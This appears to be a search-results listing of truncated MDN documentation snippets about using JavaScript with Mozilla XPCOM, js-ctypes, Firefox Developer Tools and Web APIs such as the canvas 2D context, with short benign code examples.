the stub component can be either binary or javascript, but it is far easier in javascript is cross-platform and does not have compile- or load- time compatibility problems.
... the gears project contains an example of a javascript-based stub loader.
Creating a Python XPCOM component
creating applications with mozilla already provides a tutorial for making a simple javascript or c++ component (implementing the nsisimple interface).
...pay special attention to types here - python and javascript are both loosely-typed, so it's fairly easy to pass information from one to the other.
XPCOM array guide
MozillaTechXPCOMGuideArrays
an nsiarray implementation can be created from c++ or javascript using nsicomponentmanager.createinstance() and the contract id "@mozilla.org/array;1".
... // return it to the caller *aresult = array; ns_addref(*aresult); } javascript example function getlist() { var array = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimutablearray); // append some elements ...
Component Internals
but if there is a component loader for javascript installed, then you can also write a javascript component.
... xpconnect, for example, provides a component loader that makes the various types, including the interfaces and their parameters, available to javascript.
Preface
though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++.
...also many of the examples are in javascript, which is used in mozilla to access xpcom components as scriptable objects, and so familiarity with that language is useful as well.
Components.ID
components.classes, components.classesbyid, components.interfaces provide pretty much all the nsids that most javascript code would ever need to deal with.
... the exception to this is the case where a component is written in javascript and needs to register itself with the component manager using its own nsid - an id that is not already registered and thus does not appear in components.classes.
Components.interfaces
it reflects only those interfaces which have been designated in their .idl description as scriptable, that is the interfaces which xpconnect is capable of reflecting into javascript.
...this includes nsisupports.queryinterface(), the optional parameter accepted by nsijscid.getservice(), nsijscid.createinstance() when called from javascript, and nsiclassinfo.getinterfaces().
Components.utils.evalInSandbox
the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've previously created using the components.utils.sandbox constructor.
...for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8.
Components.utils.import
see using javascript code modules for more details.
... note: prior to gecko 2.0, javascript code modules could only be loaded using file: or resource: urls.
Components.utils.unload
components.utils.unload was introduced in firefox 7 and is used to unload javascript code modules.
...if the javascript code module has not yet been imported then this method will do nothing.
PyXPCOM
pyxpcom is similar to javaxpcom (java-xpcom bridge) or xpconnect (javascript-xpcom bridge).
... related topics xpcom pydom: replace javascript with python python-spidermonkey ...
HOWTO
using js modules and non-ui javascript chrome files problem you want to write a javascript file, and run it in xpcshell.
...maybe it even uses javascript files from chrome:// urls.
nsIAccessibleHyperLink
note: aria hyperlinks do not have an anchor accessible to point to, since clicks are processed via javascript.
... note: aria hyperlinks do not have an uri to point to, since clicks are processed via javascript.
nsIAppShellService
native code only!gethiddenwindowandjscontext return the (singleton) application hidden window as an nsidomwindow, and, the corresponding javascript context pointer.
... ajscontext the corresponding javascript context.
nsIAppStartup
getstartupinfo() returns a javascript object with events from startup and the timestamps indicating when they occurred.
... return value a javascript object with the following fields.
nsIDocShell
allowjavascript boolean whether to allow javascript execution.
... internal_load_flags_inherit_owner 0x1 used to indicate that it may be safe to inherit the owner of a javascript: or data: url from the existing document.
nsIFile
a string containing characters encoded in the native charset cannot be safely passed to javascript via xpconnect.
... a string containing characters encoded in the native character set cannot be safely passed to javascript via xpconnect.
nsIMsgCustomColumnHandler
the interface inherits from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods.
...example implementation an example javascript implementation that does nothing: var columnhandler = { iseditable: function(arow, acol) {return false;}, cyclecell: function(arow, acol) { }, getcelltext: function(arow, acol) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprop...
Component; nsIPrefBranch
(to call from javascript use children = nsiprefbranch.getchildlist("",obj), which will fill in obj.value with the count and return an array of keys!
... (it is not void in javascript) void getchildlist( in string astartingat, out unsigned long acount, [array, size_is(acount), retval] out string achildarray ); parameters astartingat the point on the branch at which to start enumerating the child preferences.
nsIPushMessage
when called from javascript, nsipushmessage.binary() returns data.
... please see method parameters in xpidl for more details on using out parameters in javascript.
nsIPushSubscription
when called from javascript, nsipushsubscription.getkey() only takes name as a parameter, and returns key.
... please see method parameters in xpidl for more details on using out parameters in javascript.
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string.
... if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api.
nsISecurityCheckedComponent
string cancreatewrapper( in nsiidptr iid ); parameters iid the interface to reflect into javascript.
... note that if wrapper creation is prevented, the properties and methods will not be defined on the javascript object, whereas if wrapper creation succeeds but methods/properties are prevented, the properties and methods will be visible, not not usable.
nsIXPCException
js/src/xpconnect/idl/xpcexception.idlscriptable these exception objects are the preferred types of exceptions when implementing xpcom interfaces in javascript.
...return value native code only!stowjsval void stowjsval( in xpcexjscontextptr cx, in xpcexjsval val ); parameters cx val remarks components.exception is a javascript constructor to create nsixpcexception objects.
nsIZipReader
set this parameter to null (javascript) or emptycstring() (c++) to get all entries; otherwise, use the following syntax: * matches anything.
...if null (javascript) or emptycstring() (c++) is passed in the integrity of all items in the archive are tested.
Troubleshooting XPCOM components registration
there are several common reasons that registration can fail: a component that is a binary (shared library) fails to load a javascript component has parsing errors the shared library loaded correctly, but registration was not successful did registration succeed?
...see xpcom changes in gecko 2.0 parsing errors in javascript components the most common reason for components written in javascript to fail is that there are parsing errors.
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser from content javascript.
... (see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
Using nsIClassInfo
if you use a c++ class which implements nsiclassinfo from javascript, then you don't have to explicitly call queryinterface on the javascript object to access the object's interfaces.
... if you're writing javascript code which uses a c++ class implementing nsiclassinfo, you don't need to do anything to activate the auto-interface magic which makes calling queryinterface unnecessary.
Working with out parameters
usage in order to use such a method from javascript via xpconnect, you have to follow a specific rule.
...implementation when implementing a method which has out parameters in javascript, you have to set a new property called value to the out parameter which will hold the required value.
XPCOM ABI
while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
...to retrieve the abi of your firefox or thunderbird, open the error console (accessible through tools | error console) and evaluate the following javascript code: components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unknown, the application wouldn't have an xpcom abi string and attempts to get it will result in error ns_error_not_available.
Address Book examples
as of thunderbird 7.0, implementing your own address book type can be done with either javascript or with a binary component.
... if you are implementing in javascript then you will have to implement the full interfaces mentioned above.
Mail and RDF
what else do we store?) datasources are created when each window's javascript is loaded by declaring the datasource variables in the source javascript as global variables.
...there are times (for example, from javascript/xul) where we want folder notifications that have nothing to do with rdf.
Creating a Custom Column
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript file --> <script type="text/javascript" src="chrome://replyto_col/content/replyto_col.js"/> </overlay> that's it!
...getcelltext() is the text that is displayed to the user while getsort*forrow() is what is used internally when sorting by your column a simple implementation objects in javascript are just "advanced" variables, so an implementation of the nsimsgcustomcolumnhandler interface looks like: var columnhandler = { getcelltext: function(row, col) { //get the message's header so that we can extract the reply to field var hdr = gdbview.getmsghdrat(row); return hdr.getstringproperty("replyto"); }, getsortstringforrow: function(hdr) {return hdr.gets...
Using Objective-C from js-ctypes
this can run with a copy-and-paste into a javascript shell.
...probably used in more * complex block scenarios involving actual closure variables needing storage * (in `nodobjc`, javascript closures are leveraged instead).
Declaring types
var timestr = asctime(thetime.address()); // pass a pointer to the tm struct var jsstring = timestr.readstring(); // convert the c string to javascript the last line converts the c string returned by the libc asctime() function into a javascript string by calling the cdata readstring() method.
...this works around the lack of true forward references in javascript.
Memory Management
closures you also need to be sure to retain references to any javascript code that native code may call back into.
...this bypasses javascript's memory management and lets you handle memory management yourself.
Standard OS Libraries
ctypes.default_abi, ctypes.void_t, cgeventref); let event = cgeventcreate(null); let cursor = cgeventgetlocation(event); cfrelease(event); components.utils.reporterror(cursor); coregraphics.close(); corefoundation.close(); resources for core foundation github :: philikon - osxtypes - javascript modules are auto-generated from the os x header files githubgists :: noitidart / search · corefoundation - corefoundation js-ctypes snippets that can be copied and pasted to scratchpad cocoa see using objective-c from js-ctypes for more info.
...l, "..."); // loc = [nsevent mouselocation] let nsevent = objc_getclass("nsevent"); let mouselocation = sel_registername("mouselocation"); let loc = objc_msgsend_nspoint(nsevent, mouselocation); components.utils.reporterror(loc); objc.close(); resources for cocoa googlecode :: js-macosx - lightweight bridge for calling cocoa frameworks from mozilla javascript unmht blog :: js-ctypes and objc - blog entries on using objective-c from js-ctypes githubgists :: noitidart / search · objc - objective-c js-ctypes snippets that can be copied and pasted to scratchpad android android runs on java and can be used by js-ctypes through the jni libraries.
FunctionType
parameters func a pointer value or javascript function.
... exceptions thrown typeerror func is not either pointer value or javascript function.
Library
declare() declares an api from the native library, allowing it to be used from javascript.
... cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
js-ctypes reference
callbacks you can pass regular javascript functions as callbacks to native functions.
... 64-bit integer handling because javascript number objects can't directly represent every possible 64-bit integer value, js-ctypes provides new types for these.
Plug-in Development Overview - Plugins
making plug-ins scriptable scriptable plug-ins are plug-ins that have been extended to provide methods that can be called from javascript and the dom when accessed through the object or embed element.
... consider the following example, where a media player plug-in can be controlled with an advancetonextsong() method called inside the script element: <object id="myplugin" type="audio/wav" data="music.wav"> </object> <script type="application/javascript"> var theplugin = document.getelementbyid('myplugin'); if (theplugin && theplugin.advancetonextsong) theplugin.advancetonextsong(); else alert("plugin not installed correctly"); </script> in the past, liveconnect and later xpconnect were used to make plug-ins scriptable.
URLs - Plugins
javascript executes javascript code that follows the url.
... wysiwyg placed before another url; displays a page that javascript has updated using document.write.
Debugging service workers - Firefox Developer Tools
if this is not enough to help you figure out the problem, you could also try going to the javascript debugger and stepping through your code to pinpoint exactly where it is going wrong.
...when pressed, this takes you straight to the javascript debugger view of your service worker code, and you can use the full power of the debugger to debug it — stepping through code, etc.
Browser Toolbox - Firefox Developer Tools
the browser toolbox enables you to debug add-ons and the browser's own javascript code rather than just web pages like the normal toolbox.
... you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running.
Examine, modify, and watch variables - Firefox Developer Tools
if a variable exists in the source but has been optimized away by the javascript engine, then it is shown in the variables view, but is given the value (optimized away), and is not editable.
...to add a watch expression, click in the box that says "add watch expression" and enter a javascript expression whose output you'd like to monitor as you step through code.
Set event listener breakpoints - Firefox Developer Tools
using a standard event breakpoint to use an event breakpoint, you open up the javascript debugger, and find and expand the event listener breakpoints section in the right hand column.
... when execution pauses, the source pane displays the highlighted line of the javascript code that is next to be executed, along with the surrounding code for context.
Tree map view - Firefox Developer Tools
for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement.
... scripts: javascript sources loaded by the page.
Examine and edit HTML - Firefox Developer Tools
clicking the marker opens a tooltip listing the event listeners and allows you for each listener to switch to the line of javascript code in the debugger where the listener is defined.
...clicking the marker switches to the line of javascript code in the debugger where the custom element got defined.
Flame Chart - Firefox Developer Tools
the flame chart shows you the state of the javascript stack for your code at every millisecond during the performance profile.
... the call tree and the flame chart are both used to analyze your site's javascript, and they both use the same data: a sample of the javascript engine's stack, taken periodically during the recording.
Toolbox - Firefox Developer Tools
there are a few different ways to open the toolbox: select "toggle tools" from the web developer menu (under "tools" on os x and linux, or "firefox" on windows) click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "toggle tools" activate any tool hosted in the toolbox (for example, the javascript debugger or the page inspector) press ctrl + shift + i on windows and linux, or cmd + opt + i on os x.
...the array may include the following tools: web console javascript debugger page inspector style editor profiler network monitor note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the firefox instance that launched the window, not all the hosted tools will be shown).
Web Console Helpers - Firefox Developer Tools
the commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... cd() switches javascript evaluation context to a different iframe in the page.
Web Console UI Tour - Firefox Developer Tools
enable autocompletion: when enabled, the javascript interpreter attempts to autocomplete while you type.
...use it to enter javascript expressions.
AudioParam.value - Web APIs
WebAPIAudioParamvalue
usage notes value precision and variation the data type used internally to store value is a single-precision (32-bit) floating point number, while javascript uses 64-bit double-precision floating point numbers.
...one solution is to use the math.fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
AuthenticatorAttestationResponse.attestationObject - Web APIs
syntax attestobj = authenticatorattestationresponse.attestationobject properties after decoding the cbor encoded arraybuffer, the resulting javascript object will contain the following properties: authdata the same as authenticatorassertionresponse.authenticatordata.
... note that in authenticatorassertionresponse, the authenticatordata is exposed as a property in a javascript object while in authenticatorattestationresponse, the authenticatordata is a property in a cbor map.
BaseAudioContext - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data.
... baseaudiocontext.createscriptprocessor() creates a scriptprocessornode, which can be used for direct audio processing via javascript.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of this section).
... div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; background: red; border: 5px solid purple; color: white; transition: all 1s; } javascript const borderbtn = document.queryselector('.border'); const bgcolorbtn = document.queryselector('.bgcolor'); const colorbtn = document.queryselector('.color'); const box = document.queryselector('.box'); function random(min,max) { const num = math.floor(math.random()*(max-min)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + rand...
Managing screen orientation - Web APIs
there are several ways to handle screen orientation, both with css and javascript.
... the second way is the javascript screen orientation api that can be used to get the current orientation of the screen itself and eventually lock it.
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's background, border, or content.
... examples to draw directly into an element's background using javascript in our css, we define a paint worklet using the registerpaint() function, tell the document to include the worklet using the paintworklet addmodule() method, then include the image we created using the css paint() function.
CSS Properties and Values API - Web APIs
access this interface through css.registerproperty in javascript.
... examples the following uses css.registerproperty in javascript to type a css custom properties, --my-color, as a color, give it a default value, and not allow it to inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); the same registration can take place in css using the following @property: @property --my-color { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } specifications specification status comment css properties and values api level 1 working draft initial definition.
CSS Typed Object Model API - Web APIs
the css typed object model api simplifies css property manipulation by exposing css values as typed javascript objects rather than strings.
... generally, css values can be read and written in javascript as strings, which can be slow and cumbersome.
CanvasRenderingContext2D.arc() - Web APIs
html <canvas></canvas> javascript the arc is given an x-coordinate of 100, a y-coordinate of 75, and a radius of 50.
... html <canvas width="150" height="200"></canvas> javascript const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); // draw shapes for (let i = 0; i <= 3; i++) { for (let j = 0; j <= 2; j++) { ctx.beginpath(); let x = 25 + j * 50; // x coordinate let y = 25 + i * 50; // y coordinate let radius = 20; // arc radius l...
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript // define canvas and context const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // define the points as {x, y} let start = { x: 50, y: 20 }; let cp1 = { x: 230, y: 30 }; let cp2 = { x: 150, y: 80 }; let end = { x: 250, y: 100 }; // cubic bézier curve ctx.beginpath(); ctx.moveto(start.x, start.y); ctx.beziercurveto(cp1.x, cp1.y, cp2.x, cp2.
... html <canvas id="canvas"></canvas> javascript the curve begins at the point specified by moveto(): (30, 30).
CanvasRenderingContext2D.clip() - Web APIs
html <canvas id="canvas"></canvas> javascript the clipping region is a full circle, with its center at (100, 75), and a radius of 50.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create clipping path let region = new path2d(); region.rect(80, 10, 20, 130); region.rect(40, 50, 100, 50); ctx.clip(region, "evenodd"); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); result specifications specification status ...
CanvasRenderingContext2D.closePath() - Web APIs
html <canvas id="canvas"></canvas> javascript the triangle's corners are at (20, 150), (120, 20), and (220, 150).
... html <canvas id="canvas"></canvas> javascript the first two arcs create the face's eyes.
CanvasRenderingContext2D.createImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the generated object is 100 pixels wide and 50 pixels tall, making 5,000 pixels in all.
... html <canvas id="canvas"></canvas> javascript since each pixel consists of four values, the for loop iterates by multiples of four.
CanvasRenderingContext2D.createPattern() - Web APIs
the original image looks like this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the c...
... javascript // create a pattern, offscreen const patterncanvas = document.createelement('canvas'); const patterncontext = patterncanvas.getcontext('2d'); // give the pattern a width and height of 50 patterncanvas.width = 50; patterncanvas.height = 50; // give the pattern a background color and draw an arc patterncontext.fillstyle = '#fec'; patterncontext.fillrect(0, 0, patterncanvas.width, patterncanvas.height); patterncontext.arc(0, 0, 50, 0, .5 * math.pi); patterncontext.stroke(); // create our primary canvas and fill it with the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanv...
CanvasRenderingContext2D.drawImage() - Web APIs
html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div> javascript the source image is taken from the coordinates (33, 71), with a width of 104 and a height of 124.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimageactualsize() { // use the in...
CanvasRenderingContext2D.ellipse() - Web APIs
html <canvas id="canvas" width="200" height="200"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw the ellipse ctx.beginpath(); ctx.ellipse(100, 100, 50, 75, math.pi / 4, 0, 2 * math.pi); ctx.stroke(); // draw the ellipse's line of reflection ctx.beginpath(); ctx.setlinedash([5, 5]); ctx.moveto(0, 200); ctx.lineto(200, 0); ctx.stroke(); result various elliptical arcs this example creates thr...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'red'; ctx.beginpath(); ctx.ellipse(60, 75, 50, 30, math.pi * .25, 0, math.pi * 1.5); ctx.fill(); ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.ellipse(150, 75, 50, 30, math.pi * .25, 0, math.pi); ctx.fill(); ctx.fillstyle = 'green'; ctx.beginpath(); ctx.ellipse(240, 75, 50, 30, math.pi * .25, 0, math.pi, true); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.ellipse' in that specification.
CanvasRenderingContext2D.fill() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); result specifying a path and a fillrule this example saves some intersecting lines to a path2d object.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fill' in that specification.
CanvasRenderingContext2D.fillText() - Web APIs
<canvas id="canvas" width="400" height="150"></canvas> javascript the javascript code for this example follows.
... html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filltext' in that specification.
CanvasRenderingContext2D.filter - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.filltext('hello world', 50, 100); result applying multiple filters you can combine as many filters as you like.
... html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filter' in that specification.
CanvasRenderingContext2D.isPointInPath() - Web APIs
html <canvas id="canvas"></canvas> <p>in path: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in a circular path2d path.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circle const circle = new path2d(); circle.arc(150, 75, 50, 0, 2 * math.pi); ctx.fillstyle = 'red'; ctx.fill(circle); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status comment html living standardthe definition of 'canvasrende...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
html <canvas id="canvas"></canvas> <p>in stroke: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in the stroke of an elliptical path2d path.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create ellipse const ellipse = new path2d(); ellipse.ellipse(150, 75, 40, 60, math.pi * .25, 0, 2 * math.pi); ctx.linewidth = 25; ctx.strokestyle = 'red'; ctx.fill(ellipse); ctx.stroke(ellipse); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } else { ctx.strokestyle = 'red'; } // draw ellipse ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(ellipse); ctx.stroke(ellipse); }); result ...
CanvasRenderingContext2D.lineTo() - Web APIs
html <canvas id="canvas"></canvas> javascript the line begins at (30, 50) and ends at (150, 100).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.linewidth = 15; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.lineto' in that specificati...
CanvasRenderingContext2D.putImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); function putimagedata(ctx, imagedata, dx, dy, dirtyx, dirtyy, dirtywidth, dirtyheight) { var data = imagedata.data; var height = imagedata.height; var width = imagedata.width; dirtyx = dirtyx || 0; dirtyy = dirtyy || 0; dirtywidth = dirtywidth !== undefined?
... javascript const canvas = document.createelement("canvas"); canvas.width = 1; canvas.height = 1; const context = canvas.getcontext("2d"); const imgdata = context.getimagedata(0, 0, canvas.width, canvas.height); const pixels = imgdata.data; pixels[0 + 0] = 1; pixels[0 + 1] = 127; pixels[0 + 2] = 255; pixels[0 + 3] = 1; console.log("before:", pixels); context.putimagedata(imgdata, 0, 0); const imgdata2 = con...
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // quadratic bézier curve ctx.beginpath(); ctx.moveto(50, 20); ctx.quadraticcurveto(230, 30, 50, 100); ctx.stroke(); // start and end points ctx.fillstyle = 'blue'; ctx.beginpath(); ctx.arc(50, 20, 5, 0, 2 * math.pi); // start point ctx.arc(50, 100, 5, 0, 2 * math.pi); // end point ctx.fill(); // contro...
... html <canvas id="canvas"></canvas> javascript the curve begins at the point specified by moveto(): (20, 110).
CanvasRenderingContext2D.resetTransform() - Web APIs
html <canvas id="canvas"></canvas> javascript the rotate() method rotates the transformation matrix by 45°.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // skewed rectangles ctx.transform(1, 0, 1.7, 1, 0, 0); ctx.fillstyle = 'gray'; ctx.fillrect(40, 40, 50, 20); ctx.fillrect(40, 90, 50, 20); // non-skewed rectangles ctx.resettransform(); ctx.fillstyle = 'red'; ctx.fillrect(40, 40, 50, 20); ctx.fillrect(40, 90, 50, 20); result the skewed rectangles are gray...
CanvasRenderingContext2D.rotate() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // point of transform origin ctx.arc(0, 0, 5, 0, 2 * math.pi); ctx.fillstyle = 'blue'; ctx.fill(); // non-rotated rectangle ctx.fillstyle = 'gray'; ctx.fillrect(100, 0, 80, 20); // rotated rectangle ctx.rotate(45 * math.pi / 180); ctx.fillstyle = 'red'; ctx.fillrect(100, 0, 80, 20); // reset transformation...
... html <canvas id="canvas"></canvas> javascript the shape is a rectangle with its corner at (80, 60), a width of 140, a height of 30.
CanvasRenderingContext2D.scale() - Web APIs
html <canvas id="canvas"></canvas> javascript the rectangle has a specified width of 8 and a height of 20.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('hello world!', -280, 90); ctx.settransform(1, 0, 0, 1, 0, 0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scale' in that specification.
CanvasRenderingContext2D.setLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns this example illustrates a variety of common line dash ...
... html <canvas id="canvas"></canvas> javascript the drawdashedline() function created below makes the drawing of multiple dashed lines simple.
CanvasRenderingContext2D.setTransform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.settransform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result retrieving and passing a dommatrix object in the following example, we have two <canvas> elements.
